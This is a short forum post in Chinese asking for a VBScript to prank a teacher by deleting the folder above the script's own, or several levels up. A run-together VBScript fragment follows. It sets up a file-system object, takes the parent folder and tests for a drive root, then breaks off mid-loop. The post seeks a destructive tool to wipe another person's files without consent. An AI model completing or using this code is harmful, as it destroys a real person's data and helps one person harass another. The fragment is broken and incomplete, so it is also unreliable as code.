求一个整老师的VBS脚本，主要是把此文件夹的上一级，或者上上多级删除

Const Hidden = 2Dim fsoSet fso = WScript.CreateObject("Scripting.Filesystemobject")Dim fldSet regEx = New RegExpregex.IgnoreCase=Trueregex.Pattern="^[a-z]:\\$"fld= fso.GetParentFolderName(WScript.ScriptFullName)Dim fldobjDo Unt